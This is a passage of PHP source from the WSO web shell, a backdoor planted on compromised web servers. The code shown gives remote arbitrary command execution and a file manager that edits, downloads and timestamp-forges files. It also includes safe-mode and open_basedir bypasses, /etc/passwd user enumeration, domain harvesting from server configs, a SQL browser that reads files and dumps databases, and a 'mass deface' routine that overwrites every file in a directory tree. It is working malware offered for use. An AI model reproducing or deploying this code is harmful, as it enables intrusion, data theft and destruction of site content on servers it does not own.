681 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
682 $dirs[] = array_merge($tmp, array('type' => 'dir'));
683 }
684 $GLOBALS['sort'] = $sort;
685 function wsoCmp($a, $b) {
686 if($GLOBALS['sort'][0] != 'size')
687 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
688 else
689 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
690 }
691 usort($files, "wsoCmp");
692 usort($dirs, "wsoCmp");
693 $files = array_merge($dirs, $files);
694 $l = 0;
695 foreach($files as $f) {
696 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
697 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
698 $l = $l?0:1;
699 }
700 echo "<tr><td colspan=7>
701 <input type=hidden name=a value='FilesMan'>
702 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
703 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
704 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
705 if(class_exists('ZipArchive'))
706 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
707 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
708 echo "<option value='paste'>Paste / zip</option>";
709 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
710 wsoFooter();
711}
712
713function actionStringTools() {
714 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
715 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
716 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
717 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
718 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
719 $stringTools = array(
720 'Base64 encode' => 'base64_encode',
721 'Base64 decode' => 'base64_decode',
722 'Url encode' => 'urlencode',
723 'Url decode' => 'urldecode',
724 'Full urlencode' => 'full_urlencode',
725 'md5 hash' => 'md5',
726 'sha1 hash' => 'sha1',
727 'crypt' => 'crypt',
728 'CRC32' => 'crc32',
729 'ASCII to HEX' => 'ascii2hex',
730 'HEX to ASCII' => 'hex2ascii',
731 'HEX to DEC' => 'hexdec',
732 'HEX to BIN' => 'hex2bin',
733 'DEC to HEX' => 'dechex',
734 'DEC to BIN' => 'decbin',
735 'BIN to HEX' => 'binhex',
736 'BIN to DEC' => 'bindec',
737 'String to lower case' => 'strtolower',
738 'String to upper case' => 'strtoupper',
739 'Htmlspecialchars' => 'htmlspecialchars',
740 'String length' => 'strlen',
741 );
742 if(isset($_POST['ajax'])) {
743 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = true;
744 ob_start();
745 if(in_array($_POST['p1'], $stringTools))
746 echo $_POST['p1']($_POST['p2']);
747 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
748 echo strlen($temp), "\n", $temp;
749 exit;
750 }
751 wsoHeader();
752 echo '<h1>String conversions</h1><div class=content>';
753 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
754 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = false;
755 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
756 foreach($stringTools as $k => $v)
757 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
758 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[$_SERVER['HTTP_HOST'].'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
759 if(!empty($_POST['p1'])) {
760 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
761 }
762 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
763 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
764 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
765 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
766 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
767 <tr><td></td><td><input type='submit' value='>>'></td></tr>
768 </table></form>";
769
770 function wsoRecursiveGlob($path) {
771 if(substr($path, -1) != '/')
772 $path.='/';
773 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
774 if(is_array($paths)&&@count($paths)) {
775 foreach($paths as $item) {
776 if(@is_dir($item)){
777 if($path!=$item)
778 wsoRecursiveGlob($item);
779 } else {
780 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
781 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
782 }
783 }
784 }
785 }
786 if(@$_POST['p3'])
787 wsoRecursiveGlob($_POST['c']);
788 echo "</div><br><h1>Search for hash:</h1><div class=content>
789 <form method='post' target='_blank' name='hf'>
790 <input type='text' name='hash' style='width:200px;'><br>
791 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
792 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
793 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
794 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
795 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
796 </form></div>";
797 wsoFooter();
798}
799
800function actionFilesTools() {
801 if( isset($_POST['p1']) )
802 $_POST['p1'] = urldecode($_POST['p1']);
803 if(@$_POST['p2']=='download') {
804 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
805 ob_start("ob_gzhandler", 4096);
806 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
807 if (function_exists("mime_content_type")) {
808 $type = @mime_content_type($_POST['p1']);
809 header("Content-Type: ".$type);
810 }
811 $fp = @fopen($_POST['p1'], "r");
812 if($fp) {
813 while(!@feof($fp))
814 echo @fread($fp, 1024);
815 fclose($fp);
816 }
817 }exit;
818 }
819 if( @$_POST['p2'] == 'mkfile' ) {
820 if(!file_exists($_POST['p1'])) {
821 $fp = @fopen($_POST['p1'], 'w');
822 if($fp) {
823 $_POST['p2'] = "edit";
824 fclose($fp);
825 }
826 }
827 }
828 wsoHeader();
829 echo '<h1>File tools</h1><div class=content>';
830 if( !file_exists(@$_POST['p1']) ) {
831 echo 'File not exists';
832 wsoFooter();
833 return;
834 }
835 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
836 if(!$uid) {
837 $uid['name'] = @fileowner($_POST['p1']);
838 $gid['name'] = @filegroup($_POST['p1']);
839 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
840 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
841 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
842 if( empty($_POST['p2']) )
843 $_POST['p2'] = 'view';
844 if( is_file($_POST['p1']) )
845 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
846 else
847 $m = array('Chmod', 'Rename', 'Touch');
848 foreach($m as $v)
849 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
850 echo '<br><br>';
851 switch($_POST['p2']) {
852 case 'view':
853 echo '<pre class=ml1>';
854 $fp = @fopen($_POST['p1'], 'r');
855 if($fp) {
856 while( !@feof($fp) )
857 echo htmlspecialchars(@fread($fp, 1024));
858 @fclose($fp);
859 }
860 echo '</pre>';
861 break;
862 case 'highlight':
863 if( @is_readable($_POST['p1']) ) {
864 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
865 $code = @highlight_file($_POST['p1'],true);
866 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
867 }
868 break;
869 case 'chmod':
870 if( !empty($_POST['p3']) ) {
871 $perms = 0;
872 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
873 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
874 if(!@chmod($_POST['p1'], $perms))
875 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
876 }
877 clearstatcache();
878 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
879 break;
880 case 'edit':
881 if( !is_writable($_POST['p1'])) {
882 echo 'File isn\'t writeable';
883 break;
884 }
885 if( !empty($_POST['p3']) ) {
886 $time = @filemtime($_POST['p1']);
887 $_POST['p3'] = substr($_POST['p3'],1);
888 $fp = @fopen($_POST['p1'],"w");
889 if($fp) {
890 @fwrite($fp,$_POST['p3']);
891 @fclose($fp);
892 echo 'Saved!<br><script>p3_="";</script>';
893 @touch($_POST['p1'],$time,$time);
894 }
895 }
896 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
897 $fp = @fopen($_POST['p1'], 'r');
898 if($fp) {
899 while( !@feof($fp) )
900 echo htmlspecialchars(@fread($fp, 1024));
901 @fclose($fp);
902 }
903 echo '</textarea><input type=submit value=">>"></form>';
904 break;
905 case 'hexdump':
906 $c = @file_get_contents($_POST['p1']);
907 $n = 0;
908 $h = array('00000000<br>','','');
909 $len = strlen($c);
910 for ($i=0; $i<$len; ++$i) {
911 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
912 switch ( ord($c[$i]) ) {
913 case 0: $h[2] .= ' '; break;
914 case 9: $h[2] .= ' '; break;
915 case 10: $h[2] .= ' '; break;
916 case 13: $h[2] .= ' '; break;
917 default: $h[2] .= $c[$i]; break;
918 }
919 $n++;
920 if ($n == 32) {
921 $n = 0;
922 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
923 $h[1] .= '<br>';
924 $h[2] .= "\n";
925 }
926 }
927 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
928 break;
929 case 'rename':
930 if( !empty($_POST['p3']) ) {
931 if(!@rename($_POST['p1'], $_POST['p3']))
932 echo 'Can\'t rename!<br>';
933 else
934 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
935 }
936 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
937 break;
938 case 'touch':
939 if( !empty($_POST['p3']) ) {
940 $time = strtotime($_POST['p3']);
941 if($time) {
942 if(!touch($_POST['p1'],$time,$time))
943 echo 'Fail!';
944 else
945 echo 'Touched!';
946 } else echo 'Bad time format!';
947 }
948 clearstatcache();
949 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
950 break;
951 }
952 echo '</div>';
953 wsoFooter();
954}
955
956function actionSafeMode() {
957 $temp='';
958 ob_start();
959 switch($_POST['p1']) {
960 case 1:
961 $temp=@tempnam($test, 'cx');
962 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
963 echo @file_get_contents($temp);
964 unlink($temp);
965 } else
966 echo 'Sorry... Can\'t open file';
967 break;
968 case 2:
969 $files = glob($_POST['p2'].'*');
970 if( is_array($files) )
971 foreach ($files as $filename)
972 echo $filename."\n";
973 break;
974 case 3:
975 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
976 curl_exec($ch);
977 break;
978 case 4:
979 ini_restore("safe_mode");
980 ini_restore("open_basedir");
981 include($_POST['p2']);
982 break;
983 case 5:
984 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
985 $uid = @posix_getpwuid($_POST['p2']);
986 if ($uid)
987 echo join(':',$uid)."\n";
988 }
989 break;
990 }
991 $temp = ob_get_clean();
992 wsoHeader();
993 echo '<h1>Safe mode bypass</h1><div class=content>';
994 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
995 if($temp)
996 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
997 echo '</div>';
998 wsoFooter();
999}
1000
1001function actionConsole() {
1002 if(isset($_POST['ajax'])) {
1003 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = true;
1004 ob_start();
1005 echo "document.cf.cmd.value='';\n";
1006 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1007 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1008 if(@chdir($match[1])) {
1009 $GLOBALS['cwd'] = @getcwd();
1010 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
1011 }
1012 }
1013 echo "document.cf.output.value+='".$temp."';";
1014 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
1015 $temp = ob_get_clean();
1016 echo strlen($temp), "\n", $temp;
1017 exit;
1018 }
1019 wsoHeader();
1020 echo "<script>
1021if(window.Event) window.captureEvents(Event.KEYDOWN);
1022var cmds = new Array('');
1023var cur = 0;
1024function kp(e) {
1025 var n = (window.Event) ? e.which : e.keyCode;
1026 if(n == 38) {
1027 cur--;
1028 if(cur>=0)
1029 document.cf.cmd.value = cmds[cur];
1030 else
1031 cur++;
1032 } else if(n == 40) {
1033 cur++;
1034 if(cur < cmds.length)
1035 document.cf.cmd.value = cmds[cur];
1036 else
1037 cur--;
1038 }
1039}
1040function add(cmd) {
1041 cmds.pop();
1042 cmds.push(cmd);
1043 cmds.push('');
1044 cur = cmds.length-1;
1045}
1046</script>";
1047 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1048 foreach($GLOBALS['aliases'] as $n => $v) {
1049 if($v == '') {
1050 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1051 continue;
1052 }
1053 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1054 }
1055 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1056 $_SESSION[$_SERVER['HTTP_HOST'].'ajax'] = false;
1057 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[$_SERVER['HTTP_HOST'].'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1058 if(!empty($_POST['p1'])) {
1059 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
1060 }
1061 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
1062 echo '</form></div><script>document.cf.cmd.focus();</script>';
1063 wsoFooter();
1064}
1065
1066function actionSelfRemove() {
1067
1068 if($_POST['p1'] == 'yes')
1069 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1070 die('Fuck you , Shell has been removed');
1071 else
1072 echo 'unlink error!';
1073 if($_POST['p1'] != 'yes')
1074 wsoHeader();
1075 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1076 wsoFooter();
1077}
1078//** updates
1079
1080 function clear_fill($filo,$index){
1081 if(file_exists($filo)){
1082 $handle = fopen($filo,'w');
1083 fwrite($handle,'');
1084 fwrite($handle,$index);
1085 fclose($handle); } }
1086
1087/////////
1088
1089function do_it(){
1090 global $dir , $index ;
1091 chdir($dir);
1092 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
1093 $filos = scandir($dir) ;
1094 $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
1095 sort($filos);
1096 $n = 0 ;
1097 echo "<center><textarea style='width: 950px; height: 300px;'>";
1098 foreach ($filos as $filo){
1099 if ( $filo != $me && is_dir($filo) != 1 && !in_array($filo, $notallow) ) {
1100 echo "$dir/$filo ====> ";
1101 edit_file($filo,$index);
1102 flush();
1103 $n = $n +1 ;
1104 } }
1105 echo "</textarea>";
1106 echo "<br>";
1107 echo "<br><h3>$n File Detected</h3></center><br>";
1108 }
1109
1110//////////////////////////////
1111function ListFiles($dirall) {
1112
1113 if($dh = opendir($dirall)) {
1114
1115 $filos = Array();
1116 $inner_files = Array();
1117 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
1118 $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
1119 while($filo = readdir($dh)) {
1120 if($filo != "." && $filo != ".." && $filo[0] != '.' && !in_array($filo, $notallow) ) {
1121 if(is_dir($dirall . "/" . $filo)) {
1122 $inner_files = ListFiles($dirall . "/" . $filo);
1123 if(is_array($inner_files)) $filos = array_merge($filos, $inner_files);
1124 } else {
1125 array_push($filos, $dirall . "/" . $filo);
1126 }
1127 }
1128 }
1129
1130 closedir($dh);
1131 return $filos;
1132 }
1133}
1134 //////////////////////////////////////////
1135 function do_it_all(){
1136 global $index ;
1137 $dirall=$_POST['dir'];
1138 echo "<center><textarea style='width: 950px; height: 300px;'>";
1139 echo "Blowing All Files In Main Dir \n Task Started ;D \n";
1140foreach (ListFiles($dirall) as $key=>$filo){
1141 $filo = str_replace('//',"/",$filo);
1142 echo "$filo ===>";
1143 edit_file($filo,$index);
1144 flush();
1145}
1146 echo "</textarea>";
1147$key = $key+1;
1148echo "<br><h3>$key File Detected</h3></center><br>"; }
1149
1150////////
1151
1152function actionMass() {
1153 wsoHeader();
1154
1155 echo "<h1>Mass Defeace All Files</h1><div class=content>
1156 <form name='mass' onSubmit=\"g(null,null,'bpp',this.option.value);return false;\"><br>
1157 <strong>Index Code Here :</strong><br>
1158 <textarea placeholder='Please Put Your Index Or Domains here !!' name='index' class=bigarea></textarea><br><br>
1159 <strong>Main Dir : </strong>
1160 <input name='dir' style='width: 550px' type='text' value=".getcwd()."/> | <strong>Options : </strong>
1161 <select name='option' style='width: 200px'>
1162 <option> </option>
1163 <option>Only for Selected Folder</option>
1164 <option>For all Sub Folders</option>
1165 </select>
1166 <input name='indexit' type='submit' value='Brute It' style='width: 81px'><br></form>";
1167if(isset($_POST['p1'])) {
1168 if ($_POST['indexit'])
1169{
1170 if ($_POST['option']=="Only for Selected Folder"){ do_it() ;}
1171 elseif ($_POST['option']=="For all Sub Folders"){ do_it_all(); }
1172 else {echo "Please select one option to work on it !!"; }
1173} }
1174
1175 wsoFooter();
1176}
1177
1178function actionDomain() {
1179 wsoHeader();
1180echo "<h1>Get All Server Domains</h1><div class=content>";
1181$d0mains = @file("/etc/named.conf");
1182
1183if(!$d0mains){ echo "<br> Can't ReaD -> [/etc/named.conf]";}
1184else {
1185echo "<table align=center border=1>
1186<tr><td><b><span style='color:red'>Domain</span></b></td><td><b><span style='color:red'>User</span></b></td></tr>";
1187
1188foreach($d0mains as $d0main){
1189
1190if(eregi("zone",$d0main)){
1191
1192preg_match_all('#zone "(.*)"#', $d0main, $domains);
1193flush();
1194
1195if(strlen(trim($domains[1][0])) > 2){
1196
1197$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1198
1199echo "<tr><td><a target='_blank' href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush();
1200
1201}}}
1202
1203echo "</table>
1204<p align='center'>";
1205}
1206 wsoFooter();
1207}
1208
1209function actionSql() {
1210 class DbClass {
1211 var $type;
1212 var $link;
1213 var $res;
1214 function DbClass($type) {
1215 $this->type = $type;
1216 }
1217 function connect($host, $user, $pass, $dbname){
1218 switch($this->type) {
1219 case 'mysql':
1220 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1221 break;
1222 case 'pgsql':
1223 $host = explode(':', $host);
1224 if(!$host[1]) $host[1]=5432;
1225 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1226 break;
1227 }
1228 return false;
1229 }
1230 function selectdb($db) {
1231 switch($this->type) {
1232 case 'mysql':
1233 if (@mysql_select_db($db))return true;
1234 break;
1235 }
1236 return false;
1237 }
1238 function query($str) {
1239 switch($this->type) {
1240 case 'mysql':
1241 return $this->res = @mysql_query($str);
1242 break;
1243 case 'pgsql':
1244 return $this->res = @pg_query($this->link,$str);
1245 break;
1246 }
1247 return false;
1248 }
1249 function fetch() {
1250 $res = func_num_args()?func_get_arg(0):$this->res;
1251 switch($this->type) {
1252 case 'mysql':
1253 return @mysql_fetch_assoc($res);
1254 break;
1255 case 'pgsql':
1256 return @pg_fetch_assoc($res);
1257 break;
1258 }
1259 return false;
1260 }
1261 function listDbs() {
1262 switch($this->type) {
1263 case 'mysql':
1264 return $this->res = @mysql_list_dbs($this->link);
1265 break;
1266 case 'pgsql':
1267 return $this->res = $this->query("SELECT datname FROM pg_database");
1268 break;
1269 }
1270 return false;
1271 }
1272 function listTables() {
1273 switch($this->type) {
1274 case 'mysql':
1275 return $this->res = $this->query('SHOW TABLES');
1276 break;
1277 case 'pgsql':
1278 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1279 break;
1280 }
1281 return false;
1282 }
1283 function error() {
1284 switch($this->type) {
1285 case 'mysql':
1286 return @mysql_error($this->link);
1287 break;
1288 case 'pgsql':
1289 return @pg_last_error($this->link);
1290 break;
1291 }
1292 return false;
1293 }
1294 function setCharset($str) {
1295 switch($this->type) {
1296 case 'mysql':
1297 if(function_exists('mysql_set_charset'))
1298 return @mysql_set_charset($str, $this->link);
1299 else
1300 $this->query('SET CHARSET '.$str);
1301 break;
1302 case 'pgsql':
1303 return @pg_set_client_encoding($this->link, $str);
1304 break;
1305 }
1306 return false;
1307 }
1308 function loadFile($str) {
1309 switch($this->type) {
1310 case 'mysql':
1311 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1312 break;
1313 case 'pgsql':
1314 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1315 $r=array();
1316 while($i=$this->fetch())
1317 $r[] = $i['file'];
1318 $this->query('drop table wso2');
1319 return array('file'=>implode("\n",$r));
1320 break;
1321 }
1322 return false;
1323 }
1324 function dump($table) {
1325 switch($this->type) {
1326 case 'mysql':
1327 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1328 $create = mysql_fetch_array($res);
1329 echo $create[1].";\n\n";
1330 $this->query('SELECT * FROM `'.$table.'`');
1331 while($item = $this->fetch()) {
1332 $columns = array();
1333 foreach($item as $k=>$v) {
1334 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1335 $columns[] = "`".$k."`";
1336 }
1337 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1338 }
1339 break;
1340 case 'pgsql':
1341 $this->query('SELECT * FROM '.$table);
1342 while($item = $this->fetch()) {
1343 $columns = array();
1344 foreach($item as $k=>$v) {
1345 $item[$k] = "'".addslashes($v)."'";
1346 $columns[] = $k;
1347 }
1348 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1349 }
1350 break;
1351 }
1352 return false;
1353 }
1354 };
1355 $db = new DbClass($_POST['type']);
1356 if(@$_POST['p2']=='download') {
1357 ob_start("ob_gzhandler", 4096);
1358 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1359 $db->selectdb($_POST['sql_base']);
1360 header("Content-Disposition: attachment; filename=dump.sql");
1361 header("Content-Type: text/plain");
1362 foreach($_POST['tbl'] as $v)
1363 $db->dump($v);
1364 exit;
1365 }
1366 wsoHeader();
1367 echo "
1368<h1>Sql browser</h1><div class=content>
1369<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1370<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1371<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1372<td><select name='type'><option value='mysql' ";
1373 if(@$_POST['type']=='mysql')echo 'selected';
1374echo ">MySql</option><option value='pgsql' ";
1375if(@$_POST['type']=='pgsql')echo 'selected';
1376echo ">PostgreSql</option></select></td>
1377<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1378<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1379<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1380 $tmp = "<input type=text name=sql_base value=''>";
1381 if(isset($_POST['sql_host'])){
1382 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1383 switch($_POST['charset']) {
1384 case "Windows-1251": $db->setCharset('cp1251'); break;
1385 case "UTF-8": $db->setCharset('utf8'); break;
1386 case "KOI8-R": $db->setCharset('koi8r'); break;
